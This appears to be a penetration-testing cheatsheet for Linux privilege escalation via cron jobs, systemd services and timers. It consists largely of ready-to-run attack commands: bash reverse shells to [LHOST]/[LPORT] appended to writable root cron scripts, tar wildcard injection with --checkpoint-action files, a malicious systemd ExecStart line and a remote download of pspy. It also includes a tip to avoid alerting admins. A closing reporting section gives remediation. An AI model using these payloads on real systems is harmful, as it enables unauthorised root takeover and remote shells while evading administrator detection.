πŸ›‘οΈ Methodology Checklist

  • Enumerate cron jobs: cat /etc/crontab; ls /etc/cron.*; crontab -l
  • Find writable scripts called by root cron tasks
  • Look for relative paths in crontab (PATH hijack opportunity)
  • Running processes as root: ps aux | grep root
  • Check service binary and config file permissions
  • Systemd timers: systemctl list-timers --all
  • Mine /var/log/syslog for recurring root-run patterns

🎯 Operational Context

Use when: Writable cron job scripts, service binary paths, or environment PATH variables in cron β€” hijack execution flow to run commands as root. Think Dumber First: cat /etc/crontab and ls /etc/cron.d/ first. Find cron scripts running as root. Check if the script or any file it calls is world-writable. Then pspy64 to see all cron jobs including those not in /etc/crontab. Skip when: All cron scripts and their dependencies are root-owned and not world-writable β€” move to other vectors.


⚑ Tactical Cheatsheet

CommandTactical Outcome
cat /etc/crontab; ls /etc/cron.d/; cat /var/spool/cron/crontabs/rootEnumerate all cron tabs
./pspy64 -pf -i 1000Monitor processes real-time β€” find root crons without read access
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/nullFind world-writable files
ls -la [SCRIPT]; cat [SCRIPT]Check permissions + content of discovered cron script
echo "bash -i >& /dev/tcp/[LHOST]/[LPORT] 0>&1" >> [WRITABLE_SCRIPT]Append reverse shell to writable cron script
nc -lnvp [LPORT]Catch cron-triggered root shell (wait up to 5 min)
find / -name "*.service" 2>/dev/null | xargs grep -l "ExecStart"Find systemd service files
systemctl list-timers --allShow all systemd timers (alternative to cron)
ps aux | grep rootProcesses running as root β€” look for scripts/custom binaries
ss -lntp; netstat -lntpServices listening on localhost (may expose internal services)

πŸ”¬ Deep Dive & Workflow

Cron Job Exploitation Flow

1. Read cron tabs:
   cat /etc/crontab
   ls -la /etc/cron.{d,hourly,daily,weekly,monthly}/
   cat /var/spool/cron/crontabs/root   (often requires root)

2. If can't read crontab β†’ pspy64
   ./pspy64 -pf -i 1000
   Watch for: UID=0 executing scripts in writable locations

3. Check script permissions:
   ls -la [SCRIPT_PATH]
   β†’ If -rwxrwxrwx or -rwxrwxr-x with your user as group β†’ writable

4. If directory writable but script not:
   mv [SCRIPT] [SCRIPT].bak
   cp /bin/bash [SCRIPT]   # or write reverse shell
   chmod +x [SCRIPT]

5. Append payload (preserves original function):
   echo "bash -i >& /dev/tcp/[LHOST]/[LPORT] 0>&1" >> [SCRIPT]

6. Start listener β†’ wait for trigger interval

Critical: Always use >> not > to avoid breaking original script (alerts admins). Always use absolute paths in payloads β€” cron runs with minimal PATH.

Tar Wildcard Injection

# Cron job: cd /var/backups && tar -czf backup.tar.gz *
# Wildcard * expands to filenames in current dir
 
# Create "flag" files that tar interprets as arguments:
echo "" > /var/backups/--checkpoint=1
echo "" > "/var/backups/--checkpoint-action=exec=sh shell.sh"
echo "bash -i >& /dev/tcp/[LHOST]/[LPORT] 0>&1" > /var/backups/shell.sh
chmod +x /var/backups/shell.sh
# β†’ tar expands * β†’ sees --checkpoint and --checkpoint-action β†’ executes shell.sh as root

Writable Service Files

# Find writable systemd service
find /etc/systemd/system /lib/systemd/system -writable 2>/dev/null
 
# Edit ExecStart in service file
[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/[LHOST]/[LPORT] 0>&1'
 
# Reload and restart
systemctl daemon-reload && systemctl restart [SERVICE]

Exposed Local Services

# Find services on localhost only
ss -lntp | grep 127.0.0.1
# β†’ might find internal DB, Redis, Memcached, etc. with no auth
# β†’ forward port: ssh -L 3306:127.0.0.1:3306 [USER]@[TARGET] β†’ connect locally

pspy Usage

# Download to target
wget http://[LHOST]/pspy64 -O /tmp/pspy64
chmod +x /tmp/pspy64
 
# Run and watch
./pspy64 -pf -i 1000
# UID=0 = root. Look for periodic scripts, especially in /tmp, /home, /var
# -pf: print file system events too
# -i 1000: scan every 1 second

πŸ› οΈ Troubleshooting & Edge Cases

ProblemCauseFix
No writable cron scriptsAll cron paths root-ownedCheck script’s working directory: if cwd is writable and script uses relative paths, PATH hijack possible
Cron job not in /etc/crontabUser crontabs or hidden jobsRun pspy: ./pspy64 -p; watches all process spawns including cron
PATH hijacking in cronPATH not set in crontabIf crontab doesn’t set PATH, /usr/local/bin:/usr/bin:/bin is default; writable earlier path = hijack
pspy not availableNo internet or restrictedCompile locally: GOOS=linux go build pspy.go; or use watch -n 1 'ps aux' for manual monitoring
Cron executes but no shell callbackCron env lacks networkCron has minimal env; write result to file: * * * * * root /bin/bash -c 'id > /tmp/pwned'

πŸ“ Reporting Trigger

Finding Title: Writable Cron Script Enables Privilege Escalation Impact: World-writable cron script executed as root allows injection of arbitrary commands into a scheduled task, achieving root code execution on the next scheduled run without requiring any interaction. Root Cause: Cron job configuration sets script permissions too permissively. No monitoring of cron script content or integrity. Recommendation: Ensure all cron scripts are owned by root and not world-writable. Implement file integrity monitoring for all cron job scripts. Audit cron configurations against least-privilege principle. Consider using systemd timers with explicit user context instead of cron.